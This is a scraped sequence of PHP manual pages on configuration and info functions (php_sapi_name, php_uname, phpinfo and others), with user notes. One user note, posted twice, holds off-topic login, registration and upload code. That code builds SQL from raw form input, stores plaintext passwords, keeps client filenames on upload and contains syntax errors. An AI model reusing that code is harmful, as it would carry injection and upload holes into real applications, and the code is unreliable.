       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( substr(PHP_OS,0,3) == 'WIN')
       {
           // Windows 2000 workaround

           $output = array();
           exec('pslist ' . getmypid() , $output);
           return trim(substr($output[8],38,10));
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}
?>
MagicalTux at FF dot st 25-May-2005 09:08
When you need to get the OS, do not use $_SERVER['OS'] or $_ENV['OS'], better use PHP_OS constant !
<?php
if (substr(PHP_OS,0,3)=='WIN') {
  // [...]
}
?>

You also have other values such as CYGWIN_NT-5.0, Linux, ... this is the best way to get system's os (anyone on linux can do an "export OS=windows")
randolphothegreat at yahoo dot com 29-Nov-2004 10:37
[EDIT by danbrown AT php DOT net: This is intended by the author to only be used with PHP 4 < 4.3.2.]

I'd just like to point out that although sandeepc at myrealbox dot com's idea for displaying the current memory usage is a good one, it's perhaps a bad idea to pipe the entire process list through grep. A better performing method would be to select only the process we're interested in:

<?php
$pid = getmypid();
error_log('MEMORY USAGE (% KB PID ): ' . `ps --pid $pid --no-headers -o%mem,rss,pid`);
?>

True, it's not much of a performance boost, but every bit helps.
ad-rotator.com 14-May-2004 07:31
The method sandeepc at myrealbox dot com posted yields larger memory usage, my guess is that it includes all the PHP interpreter/internal code and not just the script being run.

1) Use ps command
MEMORY USAGE (% KB PID ):  0.8 12588 25087 -> about 12MB
2) Use memory_get_usage()
int(6041952) -> about 6MB


Retrieve a path to the loaded php.ini file

  • « memory_get_usage
  • php_ini_scanned_files »
  • PHP Manual
  • PHP Options/Info Functions
  • Retrieve a path to the loaded php.ini file

php_ini_loaded_file

(PHP 5 >= 5.2.4)

php_ini_loaded_file — Retrieve a path to the loaded php.ini file

Description

string php_ini_loaded_file ( void )

Check if a php.ini file is loaded, and retrieve its path.

Parameters

This function has no parameters.

Return Values

The loaded php.ini path, or FALSE if one is not loaded.

Examples

Example #1 php_ini_loaded_file() example

<?php
$inipath = php_ini_loaded_file();

if ($inipath) {
    echo 'Loaded php.ini: ' . $inipath;
} else {
    echo 'A php.ini file is not loaded';
}
?>

The above example will output something similar to:

Loaded php.ini: /usr/local/php/php.ini

See Also

  • php_ini_scanned_files() - Return a list of .ini files parsed from the additional ini dir
  • phpinfo() - Outputs information about PHP's configuration
  • The configuration file

User Contributed Notes

litelus 22-Oct-2014 12:59
quick way to find the ini loaded for the cli
php -r "echo php_ini_loaded_file();"


Return a list of .ini files parsed from the additional ini dir

  • « php_ini_loaded_file
  • php_logo_guid »
  • PHP Manual
  • PHP Options/Info Functions
  • Return a list of .ini files parsed from the additional ini dir

php_ini_scanned_files

(PHP 4 >= 4.3.0, PHP 5)

php_ini_scanned_files — Return a list of .ini files parsed from the additional ini dir

Description

string php_ini_scanned_files ( void )

php_ini_scanned_files() returns a comma-separated list of configuration files parsed after php.ini. These files are found in a directory defined by the --with-config-file-scan-dir option which is set during compilation.

The returned configuration files also include the path as declared in the --with-config-file-scan-dir option.

Return Values

Returns a comma-separated string of .ini files on success. Each comma is followed by a newline. If the directive --with-config-file-scan-dir wasn't set, FALSE is returned. If it was set and the directory was empty, an empty string is returned. If a file is unrecognizable, the file will still make it into the returned string but a PHP error will also result. This PHP error will be seen both at compile time and while using php_ini_scanned_files().

Examples

Example #1 A simple example to list the returned ini files

<?php
if ($filelist = php_ini_scanned_files()) {
    if (strlen($filelist) > 0) {
        $files = explode(',', $filelist);

        foreach ($files as $file) {
            echo "<li>" . trim($file) . "</li>\n";
        }
    }
}
?>

See Also

  • ini_set() - Sets the value of a configuration option
  • phpinfo() - Outputs information about PHP's configuration
  • php_ini_loaded_file() - Retrieve a path to the loaded php.ini file

User Contributed Notes

There are no user contributed notes for this page.


Gets the logo guid

  • « php_ini_scanned_files
  • php_sapi_name »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the logo guid

php_logo_guid

(PHP 4, PHP 5 < 5.5)

php_logo_guid — Gets the logo guid

Description

string php_logo_guid ( void )

This function returns the ID which can be used to display the PHP logo using the built-in image. Logo is displayed only if expose_php is On.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.5.0.

Return Values

Returns PHPE9568F34-D428-11d2-A769-00AA001ACF42.

Changelog

Version | Description
5.5.0 | php_logo_guid() has been removed from PHP.

Examples

Example #1 php_logo_guid() example

<?php

echo '<img src="' . $_SERVER['PHP_SELF'] .
     '?=' . php_logo_guid() . '" alt="PHP Logo !" />';

?>

See Also

  • phpinfo() - Outputs information about PHP's configuration
  • phpversion() - Gets the current PHP version
  • phpcredits() - Prints out the credits for PHP
  • zend_logo_guid() - Gets the Zend guid

User Contributed Notes

Anonymous 18-Jun-2010 07:57
There's also php_egg_logo_guid() which returns the "easter egg" version of the logo. Same usage.


Returns the type of interface between web server and PHP

  • « php_logo_guid
  • php_uname »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns the type of interface between web server and PHP

php_sapi_name

(PHP 4 >= 4.0.1, PHP 5)

php_sapi_name — Returns the type of interface between web server and PHP

Description

string php_sapi_name ( void )

Returns a lowercase string that describes the type of interface (the Server API, SAPI) that PHP is using. For example, in CLI PHP this string will be "cli" whereas with Apache it may have several different values depending on the exact SAPI used. Possible values are listed below.

Return Values

Returns the interface type, as a lowercase string.

Although not exhaustive, the possible return values include aolserver, apache, apache2filter, apache2handler, caudium, cgi (until PHP 5.3), cgi-fcgi, cli, cli-server, continuity, embed, isapi, litespeed, milter, nsapi, phttpd, pi3web, roxen, thttpd, tux, and webjames.

Examples

Example #1 php_sapi_name() example

This example checks for the substring cgi because it may also be cgi-fcgi.

<?php
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cgi') {
    echo "You are using CGI PHP\n";
} else {
    echo "You are not using CGI PHP\n";
}
?>

Notes

Note: An alternative approach

The PHP constant PHP_SAPI has the same value as php_sapi_name().

Tip

A potential gotcha

The defined SAPI may not be obvious, because for example instead of apache it may be defined as apache2handler or apache2filter.

See Also

  • PHP_SAPI

User Contributed Notes

hajo-p 04-Feb-2014 07:58
some not yet mentioned sapi names:

cli-server -> php built-in webserver
srv -> hhvm
michal at roszka dot pl 26-Mar-2009 10:13
The php_sapi_name() function is extremely useful when you want to determine the type of interface. There is, however, one more gotcha you need to be aware of while designing your application or deploying it to an unknown server.

Whenever something depends on the type of interface, make sure your check is conclusive. Especially when you want to distinguish the command line interface (CLI) from the common gateway interface (CGI).

Note, that the php-cgi binary can be called from the command line, from a shell script or as a cron job as well! If so, the php_sapi_name() will always return the same value (i.e. "cgi-fcgi") instead of "cli" which you could expect.

Bad things happen to good people. Do not always expect /usr/bin/php to be a link to php-cli binary.

Luckily the contents of the $_SERVER and the $_ENV superglobal arrays depends on whether the php-cgi binary is called from the command line interface (by a shell script, by the cron, etc.) or by some HTTP server (i.e. lighttpd).

<?php
var_dump($_SERVER);
?>

Try to call php-cgi binary from the command line interface and then via HTTP request and compare the output of the script above. There will be plenty options to satisfy almost everyone.

For the sake of security remember, that contents of the $_SERVER and the $_ENV superglobal arrays (as well as $_GET, $_POST, $_COOKIE, $_FILES and $_REQUEST) should be considered tainted.
Ysangkok 27-Aug-2008 11:34
This function can also return "cli" if PHP was launched from CLI. Useful if one wants to behave differently when running in console.


Returns information about the operating system PHP is running on

  • « php_sapi_name
  • phpcredits »
  • PHP Manual
  • PHP Options/Info Functions
  • Returns information about the operating system PHP is running on

php_uname

(PHP 4 >= 4.0.2, PHP 5)

php_uname — Returns information about the operating system PHP is running on

Description

string php_uname ([ string $mode = "a" ] )

php_uname() returns a description of the operating system PHP is running on. This is the same string you see at the very top of the phpinfo() output. For the name of just the operating system, consider using the PHP_OS constant, but keep in mind this constant will contain the operating system PHP was built on.

On some older UNIX platforms, it may not be able to determine the current OS information in which case it will revert to displaying the OS PHP was built on. This will only happen if your uname() library call either doesn't exist or doesn't work.

Parameters

mode

mode is a single character that defines what information is returned:

  • 'a': This is the default. Contains all modes in the sequence "s n r v m".
  • 's': Operating system name. eg. FreeBSD.
  • 'n': Host name. eg. localhost.example.com.
  • 'r': Release name. eg. 5.1.2-RELEASE.
  • 'v': Version information. Varies a lot between operating systems.
  • 'm': Machine type. eg. i386.

Return Values

Returns the description, as a string.

Examples

Example #1 Some php_uname() examples

<?php
echo php_uname();
echo PHP_OS;

/* Some possible outputs:
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
Linux

FreeBSD localhost 3.2-RELEASE #15: Mon Dec 17 08:46:02 GMT 2001
FreeBSD

Windows NT XN1 5.1 build 2600
WINNT
*/

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    echo 'This is a server using Windows!';
} else {
    echo 'This is a server not using Windows!';
}

?>

There are also some related Predefined PHP constants that may come in handy, for example:

Example #2 A few OS related constant examples

<?php
// *nix
echo DIRECTORY_SEPARATOR; // /
echo PHP_SHLIB_SUFFIX;    // so
echo PATH_SEPARATOR;      // :

// Win*
echo DIRECTORY_SEPARATOR; // \
echo PHP_SHLIB_SUFFIX;    // dll
echo PATH_SEPARATOR;      // ;
?>

See Also

  • phpversion() - Gets the current PHP version
  • php_sapi_name() - Returns the type of interface between web server and PHP
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

Grzechooo+php at gmail dot com 30-Sep-2012 02:07
Note that PHP won't tell you that it reverted to displaying platform it was built on.
Yzmir Ramirez 24-Aug-2011 07:00
Note that php_uname('n') does not always equal $_SERVER['HOST_NAME']

The machine that you are running the script may server many different host names so don't use this when building urls.
tac at smokescreen dot org 15-Jan-2005 12:25
In php 4.1.2, php_uname('n') returns a warning about an invalid parameter count.  Change it to @php_uname to hide this warning.


Prints out the credits for PHP

  • « php_uname
  • phpinfo »
  • PHP Manual
  • PHP Options/Info Functions
  • Prints out the credits for PHP

phpcredits

(PHP 4, PHP 5)

phpcredits — Prints out the credits for PHP

Description

bool phpcredits ([ int $flag = CREDITS_ALL ] )

This function prints out the credits listing the PHP developers, modules, etc. It generates the appropriate HTML codes to insert the information in a page.

Parameters

flag

To generate a custom credits page, you may want to use the flag parameter.

Pre-defined phpcredits() flags
name | description
CREDITS_ALL | All the credits, equivalent to using: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE. It generates a complete stand-alone HTML page with the appropriate tags.
CREDITS_DOCS | The credits for the documentation team
CREDITS_FULLPAGE | Usually used in combination with the other flags. Indicates that a complete stand-alone HTML page needs to be printed including the information indicated by the other flags.
CREDITS_GENERAL | General credits: Language design and concept, PHP authors and SAPI module.
CREDITS_GROUP | A list of the core developers
CREDITS_MODULES | A list of the extension modules for PHP, and their authors
CREDITS_SAPI | A list of the server API modules for PHP, and their authors

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Prints the general credits

<?php
phpcredits(CREDITS_GENERAL);
?>

Example #2 Prints the core developers and the documentation group

<?php
phpcredits(CREDITS_GROUP | CREDITS_DOCS | CREDITS_FULLPAGE);
?>

Example #3 Printing all the credits

<html>
 <head>
  <title>My credits page</title>
 </head>
 <body>
<?php
// some code of your own
phpcredits(CREDITS_ALL - CREDITS_FULLPAGE);
// some more code
?>
 </body>
</html>

Notes

Note:

phpcredits() outputs plain text instead of HTML when using the CLI mode.

See Also

  • phpversion() - Gets the current PHP version
  • php_logo_guid() - Gets the logo guid
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

There are no user contributed notes for this page.


Outputs information about PHP's configuration

  • « phpcredits
  • phpversion »
  • PHP Manual
  • PHP Options/Info Functions
  • Outputs information about PHP's configuration

phpinfo

(PHP 4, PHP 5)

phpinfo — Outputs information about PHP's configuration

Description

bool phpinfo ([ int $what = INFO_ALL ] )

Outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Because every system is setup differently, phpinfo() is commonly used to check configuration settings and for available predefined variables on a given system.

phpinfo() is also a valuable debugging tool as it contains all EGPCS (Environment, GET, POST, Cookie, Server) data.

Parameters

what

The output may be customized by passing one or more of the following constants bitwise values summed together in the optional what parameter. One can also combine the respective constants or bitwise values together with the or operator.

phpinfo() options
Name (constant) | Value | Description
INFO_GENERAL | 1 | The configuration line, php.ini location, build date, Web Server, System and more.
INFO_CREDITS | 2 | PHP Credits. See also phpcredits().
INFO_CONFIGURATION | 4 | Current Local and Master values for PHP directives. See also ini_get().
INFO_MODULES | 8 | Loaded modules and their respective settings. See also get_loaded_extensions().
INFO_ENVIRONMENT | 16 | Environment Variable information that's also available in $_ENV.
INFO_VARIABLES | 32 | Shows all predefined variables from EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | PHP License information. See also the » license FAQ.
INFO_ALL | -1 | Shows all of the above.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | Logo GUIDs were replaced with data URIs, and so turning off expose_php now has no effect on the result of phpinfo(). Credits are also now embedded within the output itself instead of linked.
5.2.2 | The "Loaded Configuration File" information was added, when before only "Configuration File (php.ini) Path" existed.

Examples

Example #1 phpinfo() Example

<?php

// Show all information, defaults to INFO_ALL
phpinfo();

// Show just the module information.
// phpinfo(8) yields identical results.
phpinfo(INFO_MODULES);

?>

Notes

Note:

In versions of PHP before 5.5, parts of the information displayed are disabled when the expose_php configuration setting is set to off. This includes the PHP and Zend logos, and the credits.

Note:

phpinfo() outputs plain text instead of HTML when using the CLI mode.

See Also

  • phpversion() - Gets the current PHP version
  • phpcredits() - Prints out the credits for PHP
  • php_logo_guid() - Gets the logo guid
  • ini_get() - Gets the value of a configuration option
  • ini_set() - Sets the value of a configuration option
  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • Predefined Variables

User Contributed Notes

cbar at vmait dot com 26-Apr-2014 10:05
<?php

// NOTE: When accessing a element from the above phpinfo_array(), you can do:
$array = phpinfo_array();

// This will work
echo $array["General"]["System "];

// This should work also, but it doesn't because there is a space after System in the array.
  echo $array["General"]["System"];

// I hope the coder will fix it, so as to save someone else from wasting time. Otherwise, nice script.

?>
goengoen 16-Apr-2014 05:49
//FORM DIV
<div id="form_bericht"></div>

//toevoegen aan form:
value="  Vul hier uw voor- en achternaam in..." onfocus="this.value=''"

//JS code:
function showFormError(inText) {
    document.getElementById('form_bericht').style.display = "block";
    if (inText) {
        document.getElementById('form_bericht').innerHTML = inText;
    } else {
        document.getElementById('form_bericht').innerHTML = "Niet alle verplichte velden zijn ingevuld.";
    }

}

function checkEmail(inValue) {
    var x=inValue
    var atpos=x.indexOf("@");
    var dotpos=x.lastIndexOf(".");
    if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) {
        return false;
    } else {
        return true;
    }
}

function check() {
    document.getElementById('form_bericht').style.display = "none"
    var form = document.forms["contactform"];

    if(form["naam"].value == "  Vul hier uw voor- en achternaam in..."){
        showFormError()
        contactform.naam.focus();
        return false;
    }
    if(form["naam"].value == ""){
        showFormError()
        contactform.naam.focus();
        return false;
    }

    if(form["email"].value == "  Vul hier uw e-mailadres in..."){
        showFormError()
        contactform.email.focus();
        return false;
    }
    if(form["email"].value == ""){
        showFormError()
        contactform.email.focus();
        return false;
    }
    if (!checkEmail(form["email"].value)) {
        showFormError("Geen geldig e-mail adres opgegeven.");
        contactform.email.focus();
        return false;
    }
    if(form["bericht"].value == "   Vul hier uw bericht in..."){
        showFormError()
        contactform.bericht.focus();
        return false;
    }
    if(form["bericht"].value == ""){
        showFormError()
        contactform.bericht.focus();
        return false;
    }
    return true;
}

//file upload
<?php

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo "<p>";

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n";
} else {
   echo "Upload failed";
}

echo "</p>";
echo '<pre>';
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";

?>

//file upload html
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="512000" />
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

//file upload #2
html>
    <body>
        <form method="post">
            <label for="file">Filename:</label>
            <input type="file" name="file1" id="file1" />
            <br />
            <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
</html>
<?php
if(isset($_POST['submit'])) {
    if ($_FILES["file1"]["error"] > 0) {
        echo "Error: " . $_FILES["file1"]["error"] . "<br />";
    } else {
        echo "Upload: " . $_FILES["file1"]["name"] . "<br />";
        echo "Type: " . $_FILES["file1"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file1"]["size"] / 1024) . " Kb<br />";
        echo "Stored in: " . $_FILES["file1"]["tmp_name"];
    }
}
?>

//file upload #3
?>
    if(isset($_FILES['image'])){
        $errors= array();
        $file_name = $_FILES['image']['name'];
        $file_size =$_FILES['image']['size'];
        $file_tmp =$_FILES['image']['tmp_name'];
        $file_type=$_FILES['image']['type'];
        $file_ext=strtolower(end(explode('.',$_FILES['image']['name'])));

        $expensions= array("jpeg","jpg","png");
        if(in_array($file_ext,$expensions)=== false){
            $errors[]="extension not allowed, please choose a JPEG or PNG file.";
        }
        if($file_size > 2097152){
        $errors[]='File size must be excately 2 MB';
        }
        if(empty($errors)==true){
            move_uploaded_file($file_tmp,"images/".$file_name);
            echo "Success";
        }else{
            print_r($errors);
        }
    }
?>

<form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="image" />
<input type="submit"/>
</form>
goengoen 16-Apr-2014 05:49
//FORM DIV
<div id="form_bericht"></div>

//toevoegen aan form:
value="  Vul hier uw voor- en achternaam in..." onfocus="this.value=''"

//JS code:
function showFormError(inText) {
    document.getElementById('form_bericht').style.display = "block";
    if (inText) {
        document.getElementById('form_bericht').innerHTML = inText;
    } else {
        document.getElementById('form_bericht').innerHTML = "Niet alle verplichte velden zijn ingevuld.";
    }

}

function checkEmail(inValue) {
    var x=inValue
    var atpos=x.indexOf("@");
    var dotpos=x.lastIndexOf(".");
    if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) {
        return false;
    } else {
        return true;
    }
}

function check() {
    document.getElementById('form_bericht').style.display = "none"
    var form = document.forms["contactform"];

    if(form["naam"].value == "  Vul hier uw voor- en achternaam in..."){
        showFormError()
        contactform.naam.focus();
        return false;
    }
    if(form["naam"].value == ""){
        showFormError()
        contactform.naam.focus();
        return false;
    }

    if(form["email"].value == "  Vul hier uw e-mailadres in..."){
        showFormError()
        contactform.email.focus();
        return false;
    }
    if(form["email"].value == ""){
        showFormError()
        contactform.email.focus();
        return false;
    }
    if (!checkEmail(form["email"].value)) {
        showFormError("Geen geldig e-mail adres opgegeven.");
        contactform.email.focus();
        return false;
    }
    if(form["bericht"].value == "   Vul hier uw bericht in..."){
        showFormError()
        contactform.bericht.focus();
        return false;
    }
    if(form["bericht"].value == ""){
        showFormError()
        contactform.bericht.focus();
        return false;
    }
    return true;
}

//file upload
<?php

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo "<p>";

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n";
} else {
   echo "Upload failed";
}

echo "</p>";
echo '<pre>';
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";

?>

//file upload html
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="512000" />
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

//file upload #2
html>
    <body>
        <form method="post">
            <label for="file">Filename:</label>
            <input type="file" name="file1" id="file1" />
            <br />
            <input type="submit" name="submit" value="Submit" />
        </form>
    </body>
</html>
<?php
if(isset($_POST['submit'])) {
    if ($_FILES["file1"]["error"] > 0) {
        echo "Error: " . $_FILES["file1"]["error"] . "<br />";
    } else {
        echo "Upload: " . $_FILES["file1"]["name"] . "<br />";
        echo "Type: " . $_FILES["file1"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file1"]["size"] / 1024) . " Kb<br />";
        echo "Stored in: " . $_FILES["file1"]["tmp_name"];
    }
}
?>

//file upload #3
?>
    if(isset($_FILES['image'])){
        $errors= array();
        $file_name = $_FILES['image']['name'];
        $file_size =$_FILES['image']['size'];
        $file_tmp =$_FILES['image']['tmp_name'];
        $file_type=$_FILES['image']['type'];
        $file_ext=strtolower(end(explode('.',$_FILES['image']['name'])));

        $expensions= array("jpeg","jpg","png");
        if(in_array($file_ext,$expensions)=== false){
            $errors[]="extension not allowed, please choose a JPEG or PNG file.";
        }
        if($file_size > 2097152){
        $errors[]='File size must be excately 2 MB';
        }
        if(empty($errors)==true){
            move_uploaded_file($file_tmp,"images/".$file_name);
            echo "Success";
        }else{
            print_r($errors);
        }
    }
?>

<form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="image" />
<input type="submit"/>
</form>
goengoen at live dot nl 15-Apr-2014 05:40
<?php
// Connectie maken met database

$connection = mysql_connect('localhost', 'root', '');
if (!$connection){
    die("Database Connection Failed" . mysql_error());
}
$select_db = mysql_select_db('test');
if (!$select_db){
    die("Database Selection Failed" . mysql_error());
}
?>

--------------login and cookie------------------------------
<?
// Controleren op sessie
if(isset($_SESSION['userID'])) {
    echo "U mag op deze pagina komen";
}else{
    echo " U mag niet op deze pagina komen" ;
}
?>

<?php
// Uitvoeren als het een post submission krijgt
if(isset($_POST['submit'])) {

    // Variabelen ophalen en beveiligen via mysql real escape string
    $email = mysql_real_escape_string($_POST['email']);
    $wachtwoord = sha1(mysql_real_escape_string($_POST['wachtwoord']));

    // Waardes uit database ophalen
    $result = mysql_query('SELECT userID, email FROM gebruikers WHERE gebruikers.email = '.$email.' AND gebruikers.wachtwoord=.'$wachtwoord) or die('Database connectie is gefaalt');

   // Sessie aanmaken voor de user
   if(mysql_num_rows($sesult) > 0) {
        $row = mysql_fetch_array($result);
        $_SESSION['userID'] = $row['userID'];
    }
}
?>

<form action="login.php" method="post">
    <input type = "text" name="email"/>
    <input type = "password" name = "wachtwoord"/>
    <input type = "submit" name = "submit" value ="inloggen"/>
</form>

---------------------registration--------------------------------
<?php
    // Connectie maken met database
    require('connect.php');

    // Form informatie ophalen
     if (isset($_POST['email']) && isset($_POST['wachtwoord'])){

        // Variabelen aanmaken met form informatie
        $email = $_POST['email'];
        $wachtwoord = $_POST['wachtwoord'];

        // Variabelen in database zetten
        $query = "INSERT INTO `gebruikers` (email, wachtwoord) VALUES ('$email', '$wachtwoord')";
        $result = mysql_query($query);

        // Als de mysql query ingevoerd is bericht geven
        if($result){
            $msg = "Registratie gelukt!";
        }else{
            $msg = "Registratie niet gelukt" ;
        }

        // Bericht weergeven
        echo $msg;
    }
 ?>
SimonD 23-Apr-2013 03:05
Removes sensitive data like AUTH_USER and AUTH_PASSWORD from the phpinfo output:

<?php
// start output buffering
ob_start();

// send phpinfo content
phpinfo();

// get phpinfo content
$html = ob_get_contents();

// flush the output buffer
ob_end_clean();

// remove auth data
if (isset($_SERVER['AUTH_USER'])) $html = str_replace($_SERVER['AUTH_USER'], '<i>no value</i>', $html);
if (isset($_SERVER['AUTH_PASSWORD'])) $html = str_replace($_SERVER['AUTH_PASSWORD'], '<i>no value</i>', $html);

echo $html;
henzeberkheij at dot SPAM dot gmail dot com 28-Aug-2012 11:20
I needed a way to quickly scroll through the phpinfo which is a large list of information. so here it is. In the top there is a list with sections, the new section loaded extensions will hold the links to the anchors of the loaded modules. the section session variables will show the current loaded sessions. It's using Domdocument for manipulation so you should have that loaded:
<?php
ob_start();
    $exts = get_loaded_extensions();
    phpinfo();
    $phpinfo = ob_get_contents();
    ob_end_clean();
    //print $phpinfo;
    $html_str = $phpinfo;
    $html = new DOMDocument();
    $html->loadHTML($html_str);
    $title = $html->getElementsByTagName("title")->item(0);
    $title->nodeValue = "PHP Version ".phpversion();
    $body = $html->getElementsByTagName("body")->item(0);

    $body->setAttribute("style", "background-color:beige;");
    $table = $body = $html->getElementsByTagName("table")->item(3)->nextSibling;
    $head  = $html->getElementsByTagName("table")->item(0)->nextSibling;
    ob_start();
    ?>
    <h2><a name="session_variables">Session variables</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Variables</th><th>Value</th></tr>
    <?php foreach($_SESSION as $key=>$value){
        if(is_bool($value)){
            $value = ($value)?"true":"false";
        }else if(is_array($value)){
            $value = '<pre>'.print_r($value, true).'</pre>';
        }else if(empty($value) && $value != "0"){
            $value = "<i>no value</i>";
        }
    ?>
    <tr>
        <td class="e"><?=$key?></td>
        <td class="v"><?=$value?></td>
    </tr>
    <?php
    }
    ?>
    </table>

    <h2><a name="loaded_extensions">loaded extensions</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Extension</th><th>Version</th></tr>
    <?php

        natcasesort($exts);
    foreach($exts as $value){
        $version = phpversion($value);
    ?>
    <tr>
        <td class="e" style="width:150px;"><a href="#module_<?=$value?>" style="color:black; background-color:#ccccff;"><?=$value?></a></td>
        <td class="v"><?=(!empty($version))?$version:"<i>Unknown</i>" ?></td>
    </tr>
    <?php
    }
    ?>
    </table><br />
    <?php
    $txt_str = ob_get_contents();
    ob_end_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);

    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $table);
    }

    $h2 = $html->getElementsByTagName("h2");
    foreach($h2 as $item){
        if($item->getElementsByTagName("a")->length == 0){
            $value = $item->nodeValue;
            $item->nodeValue = "";
            $a = $html->createElement("a");
            $a->setAttribute("name", strtolower(str_replace(" ", "_", $value)));
            $a->nodeValue = $value;
            $item->appendChild($a);
        }
        $a = $item->getElementsByTagName("a")->item(0);

        if(!in_array($a->nodeValue, $exts)){
            $menu[strtolower(str_replace(" ", "_", $a->nodeValue))] = $a->nodeValue;
        }
        $top_a = $html->createElement("a");
        if(!in_array($a->nodeValue, $exts)){
            $txt = $html->createTextNode("(Go to top)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#");
        }else{
            $txt = $html->createTextNode("(Go to extensionlist)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#loaded_extensions");
        }
        $top_a->setAttribute("style", "background-color:beige; font-size:12px; margin-left:5px; margin-top:-5px; color:black;");
        $item->appendChild($top_a);
    }
    ob_start();
    ?>
    <br />
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th colspan="2">Sections</th></tr>
    <tr>
        <?php
        $i = 0;
        foreach($menu as $key=>$item){
            print "<td class='v'><a href='#$key' style='background-color:#cccccc; color:black;'>$item</a></td>";
            if($i%2){
                print '</tr><tr>';
            }
            $i++;
        }
        if($i%2){
            print '<td class="v"></td>';
        }
        ?>
    </tr>
    </table>

    <?php
    $txt_str = ob_get_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);
    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $head);
    }
    print $html->saveHTML();
?>
neo_selen 22-Jun-2012 05:52
here you can notice that these numeric values of phpinfo
are similar to certain things in the binary system:

-1, coded in 7 digits:
111 1111

look at this:
1+2+4+8+16+32+64=127

unsigned,127 is:
111 1111

so, take a look at this: the way to get all function is to add all of them. zero is nothing.-1 is all.
so you can pass option with a negative number.
for example:
<?php phpinfo(48) ?>
is also:
<?php phpinfo(-80) ?>
48 = 32 + 16
-80= 0 - 64 - 8 - 4 - 2 - 1

so you can see in negative mode it like that:
not nothing
not all (-1) don't forget it !
not option 64
not option 8
not option 4
not option 2

so, that's good if you don't want option 8, you will do this:
not nothing(0)
not all(-1)
not option 8(-1)
you got:
<?php phpinfo(-9); ?>

hope this will be useful, that's my 1rst post ^^
Ken 13-Dec-2011 03:52
Hi.

Here my version of saving php_info into an array:

<?php
function phpinfo_array()
{
    ob_start();
    phpinfo();
    $info_arr = array();
    $info_lines = explode("\n", strip_tags(ob_get_clean(), "<tr><td><h2>"));
    $cat = "General";
    foreach($info_lines as $line)
    {
        // new cat?
        preg_match("~<h2>(.*)</h2>~", $line, $title) ? $cat = $title[1] : null;
        if(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = $val[2];
        }
        elseif(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
        }
    }
    return $info_arr;
}

// example:
echo "<pre>".print_r(phpinfo_array(), 1)."</pre>";
?>
arimbourg at ariworld dot eu 08-Nov-2010 04:28
This is necessary to obtain a W3C validation (XHTML1.0 Transitionnal)...
phpinfo's output is declared with that DTD :
- "System ID" has the wrong url to validate : "DTD/xhtml1-transitional.dtd" rather than "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
- Some module names contains space and the function's output use the name in anchors as ID and NAME. these attributes can't be validated like that (unique name only).

<?php

ob_start ();

ob_start ();                              // Capturing
phpinfo ();                               // phpinfo ()
$info = trim (ob_get_clean ());           // output

// Replace white space in ID and NAME attributes... if exists
$info = preg_replace ('/(id|name)(=["\'][^ "\']+) ([^ "\']*["\'])/i', '$1$2_$3', $info);

$imp = new DOMImplementation ();
$dtd = $imp->createDocumentType (
    'html',
    '-//W3C//DTD XHTML 1.0 Transitional//EN',
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
);
$doc = $imp->createDocument (
